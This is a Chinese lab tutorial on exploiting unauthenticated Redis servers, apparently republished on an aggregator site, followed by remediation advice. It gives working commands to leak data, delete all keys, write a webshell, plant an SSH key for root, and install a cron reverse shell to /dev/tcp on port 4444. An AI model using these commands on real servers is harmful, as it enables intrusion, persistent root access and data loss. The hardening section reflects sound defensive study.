Redis未授权访问漏洞 您所在的位置:网站首页 关于redis未授权访问漏洞正确的是什么 Redis未授权访问漏洞

Redis未授权访问漏洞

2024-07-17 03:48| 来源: 网络整理| 查看: 265

介绍

Redis默认配置是不需要密码认证的,也就是说只要连接的redis服务器的host和port正确,就可以连接使用。因此如果配置不当(没有启用redis的认证密码),可以造成上传webshell,数据库泄露,代码执行,敏感信息泄露,写入ssh公钥,利用计划任务反弹shell等 环境:kali(vps) 192.168.188.128 kali(web服务器) 192.168.188.158 当用Namp扫描发现6379端口对外开放时,用web服务器连接vps 在这里插入图片描述

基本命令

Config set dir [path]: 决定文件的写入路径 Config set dbfilename [filename] :决定文件名 Set key value: 确定文件的内容,key值任意即可,value为文件内容 save命令: 确定以上所有操作并生成文件

漏洞利用 1.Redis未授权访问获取敏感信息

命令:info 在这里插入图片描述 可以看到redis的版本信息,操作系统的内核信息,配置文件的绝对路径 可以看到里面的key及对应的值 命令: keys * (显示所有key) get foo (获取对应key的值) 在这里插入图片描述

2.Redis删除数据

命令: flushall (删除所有数据) del key (删除键为key的数据) 在这里插入图片描述

3.写入webshell

注意:用redis写文件会出现一定的乱码,只要在数据前后加上至少三个\n就解决了,如果不加的话,会导致shell执行失败 命令: config set dir /var/www/html config set dbfilename shell.php set x “\n\n\n\n\n\n” save 在这里插入图片描述 在这里插入图片描述 可以看到vps该目录下已经生成此小马,然后用菜刀连接即可

4.写入ssh公钥

利用原理:ssh免密码登录,方法为使用“公私钥”认证,在客户端上创建一对公私钥,然后把公钥放在服务器上,在ssh登录时候,ssh会发送私钥和服务器上的公钥做匹配,如果匹配成功则可以登录。 利用条件:redis服务使用root账号启动 redis服务无密码认证或者使用弱口令进行认证 服务器开放了ssh服务,且可以使用密钥登录 (1)先在本地生成ssh公私钥文件 命令:ssh-keygen -t rsa 在这里插入图片描述 可以看到第一个红箭头是连接ssh的密码,第二个红箭头(id_rsa.pub)是生成的ssh公钥文件,id_rsa是你的私钥 (2)将该公钥写入test.txt中,前后各加三个\n 命令:(echo -e "\n\n\n";cat /root/.ssh/id_rsa.pub; echo -e "\n\n\n") > /home/hdh/test.txt 在这里插入图片描述 (3)将test.txt写入靶机 命令: cat /home/hdh/test.txt | redis-cli -h 192.168.188.128 -x set crackit config set dir /root/.ssh/ config set dbfilename authorized_keys get crackit Save 在这里插入图片描述 在这里插入图片描述 这里是设定了crackit的键值为公钥,并通过redis命令变更Redis DB文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥 这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里。 在这里插入图片描述 (4)用ssh进行连接 命令:ssh [email protected] 或者ssh -i id_rsa [email protected] 在这里插入图片描述 因为我生成公私钥是没有写密码,因此可以直接登录

5.反弹shell

命令: set shell “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.188.158/4444 0>&1\n\n” config set dir /var/spool/cron config set dbfilename root Save Redis设置一个shell为key,每一分钟向192.168.188.158的4444端口发送一个bash交互式请求,然后利用config命令保存定时任务 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 理论可以返回shell,这里一分钟后仍没有返回

漏洞修复

网上收集的一些修复建议:

禁止一些高危命令 修改 redis.conf 文件,添加 rename-command FLUSHALL “” rename-command CONFIG “” rename-command EVAL “” 来禁用远程修改 DB 文件地址

以低权限运行 Redis 服务 为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆 $ groupadd -r redis && useradd -r -g redis redis

为 Redis 添加密码验证 修改 redis.conf 文件,添加 requirepass mypassword

禁止外网访问 Redis 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用 bind 127.0.0.1

保证 authorized_keys 文件的安全 为了保证安全,您应该阻止其他用户添加新的公钥。 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限: $ chmod 400 ~/.ssh/authorized_keys 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限: #chattr +i ~/.ssh/authorized_keys 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限: #chattr +i ~/.ssh 注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

参考链接:https://www.freebuf.com/column/158065.html



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有